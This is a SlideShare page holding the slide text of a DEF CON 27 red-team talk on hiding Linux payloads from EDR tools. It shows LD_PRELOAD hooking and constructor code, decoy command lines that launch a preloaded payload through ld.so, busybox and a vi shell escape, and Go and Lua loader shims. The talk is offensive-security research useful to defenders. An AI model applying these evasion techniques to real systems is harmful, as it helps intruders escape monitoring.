Advanced SOHO Router Exploitation XCONAdvanced SOHO Router Exploitation XCON
Advanced SOHO Router Exploitation XCON
 
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon YangPractical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
Practical IoT Exploitation (DEFCON23 IoTVillage) - Lyon Yang
 
Docker Security
Docker SecurityDocker Security
Docker Security
 
ANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at ScaleANALYZE'15 - Bulk Malware Analysis at Scale
ANALYZE'15 - Bulk Malware Analysis at Scale
 

More from Felipe Prado

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
Felipe Prado
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
Felipe Prado
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
Felipe Prado
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
Felipe Prado
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
Felipe Prado
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
Felipe Prado
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
Felipe Prado
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
Felipe Prado
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
Felipe Prado
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
Felipe Prado
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
Felipe Prado
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
Felipe Prado
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
Felipe Prado
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
Felipe Prado
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
Felipe Prado
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
Felipe Prado
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
Felipe Prado
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
Felipe Prado
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
Felipe Prado
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
Felipe Prado
 

More from Felipe Prado (20)

DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directoryDEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
DEF CON 24 - Sean Metcalf - beyond the mcse red teaming active directory
 
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
DEF CON 24 - Bertin Bervis and James Jara - exploiting and attacking seismolo...
 
DEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got antsDEF CON 24 - Tamas Szakaly - help i got ants
DEF CON 24 - Tamas Szakaly - help i got ants
 
DEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryptionDEF CON 24 - Ladar Levison - compelled decryption
DEF CON 24 - Ladar Levison - compelled decryption
 
DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101DEF CON 24 - Clarence Chio - machine duping 101
DEF CON 24 - Clarence Chio - machine duping 101
 
DEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a governmentDEF CON 24 - Chris Rock - how to overthrow a government
DEF CON 24 - Chris Rock - how to overthrow a government
 
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardwareDEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
DEF CON 24 - Fitzpatrick and Grand - 101 ways to brick your hardware
 
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
DEF CON 24 - Rogan Dawes and Dominic White - universal serial aBUSe remote at...
 
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustrationDEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
DEF CON 24 - Jay Beale and Larry Pesce - phishing without frustration
 
DEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interfaceDEF CON 24 - Gorenc Sands - hacker machine interface
DEF CON 24 - Gorenc Sands - hacker machine interface
 
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionistDEF CON 24 - Allan Cecil and DwangoAC -  tasbot the perfectionist
DEF CON 24 - Allan Cecil and DwangoAC - tasbot the perfectionist
 
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locksDEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
DEF CON 24 - Rose and Ramsey - picking bluetooth low energy locks
 
DEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud securityDEF CON 24 - Rich Mogull - pragmatic cloud security
DEF CON 24 - Rich Mogull - pragmatic cloud security
 
DEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portalsDEF CON 24 - Grant Bugher - Bypassing captive portals
DEF CON 24 - Grant Bugher - Bypassing captive portals
 
DEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitchDEF CON 24 - Patrick Wardle - 99 problems little snitch
DEF CON 24 - Patrick Wardle - 99 problems little snitch
 
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
DEF CON 24 - Plore - side -channel attacks on high security electronic safe l...
 
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucksDEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
DEF CON 24 - Six Volts and Haystack - cheap tools for hacking heavy trucks
 
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitationDEF CON 24 - Dinesh and Shetty - practical android application exploitation
DEF CON 24 - Dinesh and Shetty - practical android application exploitation
 
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vncDEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
DEF CON 24 - Klijnsma and Tentler - stargate pivoting through vnc
 
DEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devicesDEF CON 24 - Antonio Joseph - fuzzing android devices
DEF CON 24 - Antonio Joseph - fuzzing android devices
 

Recently uploaded

June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
Ivanti
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
SitimaJohn
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of Germany
innovationoecd
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
kumardaparthi1024
 
Nordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptxNordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptx
MichaelKnudsen27
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Malak Abu Hammad
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
Tatiana Kojar
 
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Tatiana Kojar
 
Azure API Management to expose backend services securely
Azure API Management to expose backend services securelyAzure API Management to expose backend services securely
Azure API Management to expose backend services securely
Dinusha Kumarasiri
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
panagenda
 
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStrDeep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
saastr
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
Zilliz
 
Programming Foundation Models with DSPy - Meetup Slides
Programming Foundation Models with DSPy - Meetup SlidesProgramming Foundation Models with DSPy - Meetup Slides
Programming Foundation Models with DSPy - Meetup Slides
Zilliz
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
Zilliz
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
alexjohnson7307
 
Monitoring and Managing Anomaly Detection on OpenShift.pdf
Monitoring and Managing Anomaly Detection on OpenShift.pdfMonitoring and Managing Anomaly Detection on OpenShift.pdf
Monitoring and Managing Anomaly Detection on OpenShift.pdf
Tosin Akinosho
 
Serial Arm Control in Real Time Presentation
Serial Arm Control in Real Time PresentationSerial Arm Control in Real Time Presentation
Serial Arm Control in Real Time Presentation
tolgahangng
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
Jakub Marek
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
Wouter Lemaire
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Safe Software
 

Recently uploaded (20)

June Patch Tuesday
June Patch TuesdayJune Patch Tuesday
June Patch Tuesday
 
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptxOcean lotus Threat actors project by John Sitima 2024 (1).pptx
Ocean lotus Threat actors project by John Sitima 2024 (1).pptx
 
Presentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of GermanyPresentation of the OECD Artificial Intelligence Review of Germany
Presentation of the OECD Artificial Intelligence Review of Germany
 
GenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizationsGenAI Pilot Implementation in the organizations
GenAI Pilot Implementation in the organizations
 
Nordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptxNordic Marketo Engage User Group_June 13_ 2024.pptx
Nordic Marketo Engage User Group_June 13_ 2024.pptx
 
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdfUnlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
Unlock the Future of Search with MongoDB Atlas_ Vector Search Unleashed.pdf
 
Skybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoptionSkybuffer SAM4U tool for SAP license adoption
Skybuffer SAM4U tool for SAP license adoption
 
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
Skybuffer AI: Advanced Conversational and Generative AI Solution on SAP Busin...
 
Azure API Management to expose backend services securely
Azure API Management to expose backend services securelyAzure API Management to expose backend services securely
Azure API Management to expose backend services securely
 
HCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAUHCL Notes and Domino License Cost Reduction in the World of DLAU
HCL Notes and Domino License Cost Reduction in the World of DLAU
 
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStrDeep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
Deep Dive: Getting Funded with Jason Jason Lemkin Founder & CEO @ SaaStr
 
Generating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and MilvusGenerating privacy-protected synthetic data using Secludy and Milvus
Generating privacy-protected synthetic data using Secludy and Milvus
 
Programming Foundation Models with DSPy - Meetup Slides
Programming Foundation Models with DSPy - Meetup SlidesProgramming Foundation Models with DSPy - Meetup Slides
Programming Foundation Models with DSPy - Meetup Slides
 
Fueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte WebinarFueling AI with Great Data with Airbyte Webinar
Fueling AI with Great Data with Airbyte Webinar
 
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
leewayhertz.com-AI in predictive maintenance Use cases technologies benefits ...
 
Monitoring and Managing Anomaly Detection on OpenShift.pdf
Monitoring and Managing Anomaly Detection on OpenShift.pdfMonitoring and Managing Anomaly Detection on OpenShift.pdf
Monitoring and Managing Anomaly Detection on OpenShift.pdf
 
Serial Arm Control in Real Time Presentation
Serial Arm Control in Real Time PresentationSerial Arm Control in Real Time Presentation
Serial Arm Control in Real Time Presentation
 
Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)Main news related to the CCS TSI 2023 (2023/1695)
Main news related to the CCS TSI 2023 (2023/1695)
 
UI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentationUI5 Controls simplified - UI5con2024 presentation
UI5 Controls simplified - UI5con2024 presentation
 
Driving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success StoryDriving Business Innovation: Latest Generative AI Advancements & Success Story
Driving Business Innovation: Latest Generative AI Advancements & Success Story
 

DEF CON 27 - DIMITRY SNEZHKOV - zombie ant farm practical tips

  • 1. Practical Tips for Playing Hide and Seek with Linux EDRs DEFCON 27 @Op_Nomad Zombie Ant Farm ! ! !!
  • 2. $ who –m Dimitry Snezhkov • Technologist • Member of the X-Force Red Team ü hacking ü tools, research ü all things offensive @Op_Nomad github.com/dsnezhkov
  • 3. Linux Offense: The Context Linux matters • It runs 90% of cloud workloads. • Attacks bypass office networks and land directly in the backend. • Attacks follows maximum ROI (access to data or computing resources). • Linux Adversarial efforts may be focused and targeted. • Defense follows the attacker. Endpoint Detection and Response (EDR) solutions appear in Linux. • Operators have to respond
  • 4. Linux EDRs - A Case of a Mistaken Identity • Pure play EDR products • Heuristic engine in Antivirus • Security Automation toolkits • Deployment / Patch Management • Side gig for app whitelisting solutions • As features of DLP products • Home grown monitoring frameworks • Tool assisted Threat Hunting. “Who in the world am I? Ah, that's the great puzzle.” No, you are not… Have a good day. Blue I am in yourLinux box…
  • 5. Operator has to address: • Initial foothold mechanism viability. Immediate detection. • Logging of activities, delayed interception and analysis. • Behavioral runtime patterns that trigger heuristics. • Persistent readiness for the long haul. • Evade Automation • Deflect tool assisted threat hunting • Proactive Supervision Context • Quiet boxes. Reliance on behavioral anomaly. • Locked down boxes. Reliance on known policy enforcement. • Peripheral sensors, honeypots. Linux Offense: Strategic Sketches
  • 6. Operational evasion: • Operationally shut down EDRs. • Directly exploit EDRs. • Blind EDR reporting and response. • Operationally confuse EDRs Targeted behavior evasion: • Target execution confusion. • Bypass EDR detection with novel ways of target exploitation • Deflect artifact discovery by Manual or Tool Assisted Threat hunting. Strategic Goals and Objectives, Distilled
  • 7. • Choice: Drop ready offensive tools on the target Ø May be outright detected. The unknown unknown. • Choice: Develop offensive tools on the target. Ø May not have tooling, footprint of presence, noise increases. • Choice: Utilization principle, aka “Living off the land” Ø May not be possible in the proactive supervision context. Strategic Goals and Objectives, Distilled • Need a viable path to building Linux malware in the face of EDRs: • Evade detection at target runtime. • Hide and serve payloads in an unpredictable ways to counter “the story”.
  • 8. Strategic Goals and Objectives, Distilled Assembled Attack: A blended approach to break the consistent story. Idea A: Bring in clean instrumented malware cradles. Build iterative capabilities. Idea B: Turn good binaries into instrumented malware cradles. Use them as decoys.
  • 9. Tactical Goals and Objectives, Sketches Stage I: Build out Offensive Primitives • Indiscriminate “preload and release” of legitimate binaries at runtime. • Preload library chaining, "split/scatter/assemble” of payload features. • Delayed payload triggers and features at runtime. • Rapid payload delivery mechanism prototypes with instrumented cradles.
  • 10. Tactical Goals and Objectives, Sketches Stage II: Weaponize and Operationalize Offensive Capabilities • Payload brokers, “Preload-as-a-service”. Inter-process and remote payload loading and hosting • Process mimicry and decoys • Library preloading in novel ways over memory.
  • 11. Stage I: Offensive Primitives • Basics of Offensive Dynamic Linking an Loading • Prototyping Offensive Mechanisms • Discussing Offensive Tradeoffs
  • 12. Linker wires up dynamic locations of needed libraries specified in the image. Dynamic Link Loading: The Basics ELF
  • 13. $ ./executable Error loading libctx.so The Basics of Dynamic Link Loading $ LD_DEBUG=libs LD_LIBRARY_PATH=./lib executable 107824: find library=libctx.so.1 [0]; searching 107824: Found file=./lib/libctx.so.1 “Hello World!” $ ldd executable libctx.so.1 => not found $ readelf -d executable 0x0000000000000001 (NEEDED) Shared library: [libctx.so.1] Execution Error: Dynamic dependency not found… Where is the dependency? Dependency is resolved!
  • 14. Dynamic ELF Hooking: The Basics Hook Redefine and reroute KNOWN function entry points
  • 15. Generic Dynamic API Hooking Tradeoffs We are are implementing an API detour to execute foreign logic. Challenges: • Need to know the details of target API FILE *fopen(const char *pathname, const char *mode); • Invoke and avoid detection. Opsec. Known signatures for known exploits. • Interoperate with the target binary in a clean fashion without crashing it. • Assumption inspection tooling availability on target.
  • 16. New ideas: Viability Check Tip: Be more agnostic to the specifics of any single API in the binary. Tip: Do not subvert the target. Instead: • Compel it to execute malicious code • Use it as a decoy. • If you can start a process you likely own the entire bootstrap of this process • Preload the payload generically into a known target and release for execution? • Expand malware features by bringing other modules out of band.
  • 17. • EDR sees the initial clean cradle, malware module loading is delayed. • EDR sees the code executing by approved system binaries in the process table, trusts the integrity of the known process. • EDR may not fully trace inter-process data handoff • preloaded malware calls on external data interchange • memory resident executables and shared libraries Parent / Child process relationships in Linux are transitive. We take advantage of this. • If you can start the parent process, you fully own its execution resources, and the resources of its progeny Offensive Strategy: Desired Outcomes
  • 18. Primitives for Working with Offensive Preloading What we Want
  • 19. 0x0 - ELF ABI Level : .INIT/.FINI/.PREINIT .INIT MAIN .FINI __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init; __attribute__((section(".fini_array"), used)) static typeof(fini) *fini_p = fini; __attribute__((section(".preinit_array"), used))
  • 20. . .. main() . . . , . . 0x1 – C runtime level : __libc_start_main main_orig = main; typeof(&__libc_start_main) orig = dlsym(RTLD_NEXT, "__libc_start_main"); return orig(main_hook, argc, argv, init, fini, rtld_fini, stack_end); Is it optimal?
  • 21. 0x2 – Linker Level: Weakrefs ü Controlled Weak Refs ü Foreign Weak Refs ü Chained Weak Refs void debug() __attribute__((weak)); void debug(){ if (mstat) mstat(); } $ nm --dynamic /bin/ls | grep 'w ' w __cxa_finalize w __gmon_start__ void mstat(){ ; } Chain1.so Chain2.so void main(){ if (debug) debug(); } LD_PRELOAD=chain1.so:chain2.so
  • 22. , ) ) , ,) , ) , " ) • , , ) , • .) , ) ( , ) , • ) , ) , ) ) , • , ) , ) 0x3 - .CTOR/.DTOR __attribute__((constructor (P))) void before_main(void) __attribute__((constructor )); void after_main(void) __attribute__((destructor )); void before_main(void) __attribute__((constructor (101))); void after_main(void) __attribute__((destructor(65534)));
  • 23. 0x5 - Signals, Exceptions, Fault branching Let’s keep breaking the EDR "story" of execution that leads to a confirmed IoC ü Out of Band signals. ü Fault Branching ü Self-triggered fault recovery ü Exception Handlers ü Timed execution void fpe_handler(int signal, siginfo_t *w, void *a) { printf("In SIGFPE handlern"); siglongjmp(fpe_env, w->si_code); } $LD_PRELOAD=lib/libinterrupt.so bin/ls Trigger SIGFPE handler In SIGFPE handler 1 / 0: caught division by zero! Executing payloads here ...
  • 24. • Rootkit style LD_PRELOAD cleanup (proc) • Obfuscation (compile time) • Runtime Encryption (memory) • Runtime situational checks • Better context mimicry • Access to EDRs to prove the exact primitives • No “main” no pain? • Alternative loaders 0x6 - Back to Basics: Protecting Payloads int _(void); void __data_frame_e() { int x = _(); exit(x); } int _() {} // Dynamic assignment to .interp section: const char my_interp[] __attribute__((section(".interp"))) = "/usr/local/bin/gelfload-ld-x86_64";
  • 25. Expanding and Scaling the Evasion Capabilities We now have some evasion primitives to work with. Nice. Let’s expand the evasion. Highlights: • Target utilization. • Hiding from EDRs via existing trusted binary decoys. • Dynamic scripting capabilities in the field. • Progressive LD_PRELOAD command line evasion. • Malware preloaders with self-preservation instincts.
  • 26. Utilization: Out of the Box Decoys HOW MANY TIMES CAN YOUR PROCESS REGEX FAIL • System binaries that run other binaries. • Great decoys already exist on many Linux systems. • ld.so is a loader that can run executables directly as parameters. ld.so is always approved (known good) • busybox meta binary is handy. Combine the two to escape process pattern matching defensive engines? Bounce off something trusted and available to break the path of analysis
  • 27. 3 ,. 3 . , , $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts --regex '^main_.*$' ./bin/ 3 4 , 3 $ mkdir /tmp/shadowrun; ln -s /bin/ls /tmp/shadowrun/ls; LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox run-parts /tmp/shadowrun/ 2,3 3 1 , 3 3 311 echo | LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 /bin/busybox timeout 1000 /bin/ls , 3, 3 .2 , 2 3 .2 $ LD_PRELOAD=payload.so /lib64/ld-linux-x86-64.so.2 vi -ensX $(/bin/busybox mktemp) -c ':1,$d' -c ':silent !/bin/ls' -c ':wq' Utilization: Out of the Box Decoys (Cont.)
  • 28. Second Order Evasion Capabilities Interface with a higher level code for greater evasion. Rapid prototyping and development of modular malware. • speed of development • better upgrades • memory safety ü Offense to retool quickly on the target box. ü "evade into reflection”. Faced with dynamic code EDRs get lost in reflection tracing a call chain to a verified IoC. ü Extend malware into preloading code from dynamic languages with decent FFI
  • 29. 0x6A: Hiding Behind Reflective Mirrors package main import "C" import ( "fmt" ) var count int //export Entry func Entry(msg string) int { fmt.Println(msg) return count } func main() { // don’t care, or wild goose chase } go build -o shim.so -buildmode=c-shared shim.go DFIR: Reverse 2059 functions as a starting point ...
  • 30. 0x6B: Escape to Dynamic Code: Interpreters #include <lua.h> #include <lauxlib.h> #include <lualib.h> int main(int argc, char** argv) { lua_State *L; L = luaL_newstate(); luaL_openlibs(L); /* Load the Lua script */ if (luaL_loadfile(L, argv[1])) /* Run Lua script */ lua_pcall(L, 0, 0, 0) lua_close(L); } $LD_LIBRARY_PATH=. LD_PRELOAD=./liblua.so ./invoke_lua hello.lua Main() is nothing more than a preloaded constructor at this point • EDRs lose trail if you escape out to scripting • start loading other libraries at runtime. Pro-tip: Use it as another abstraction layer, e.g. socket out or pipe to another process hosting additional payloads
  • 31. Summary: Ain’t No Primitive Primitives.
  • 32. Stage II: Weaponizing and Operationalizing Payloads ü Uber preloaders ü Inline Parameterized Command Evasion. ü Memory-resident Malware Modules. ü Modular Malware Payload Warehouses ü Remote module loads ü Utilizable loaders
  • 33. Uber preloaders __attribute__((constructor)) static void _mctor(int argc, char **argv, char** envp) { // Save pointers to argv/argc/envp largv=argv; largc=argc; lenvp=envp; lenvp_start=envp; /* code here */ } • . . • . . $LD_PRELOAD=./lib/libctx.so.1 /bin/ls <preloader_arguments>
  • 34. Uber Preloaders $ LD_BG="false" LD_PCMD="r:smtp" LD_MODULE="./lib/shim.so” LD_MODULE_ARGS="hello" LD_PRELOAD=./lib/libctx.so.1 /bin/ls
  • 35. Uber Preloaders // resolve Entry symbol int (*entry)(char *) = dlsym(handle, "Entry"); //pass arguments along if any if ( (modload_args_t = (char*) getenv("LD_MODULE_ARGS")) != NULL ){ modload_args = strdup(modload_args_t); modload_args_len = strlen(modload_args); } Chains may still • dlopen() a module or use weak references • Adhere to API contracts • Implement Process mimicry and decoys • Switch on IPC communication and data signaling • Clean out artifacts (a la rootkit) // Call FFI stack
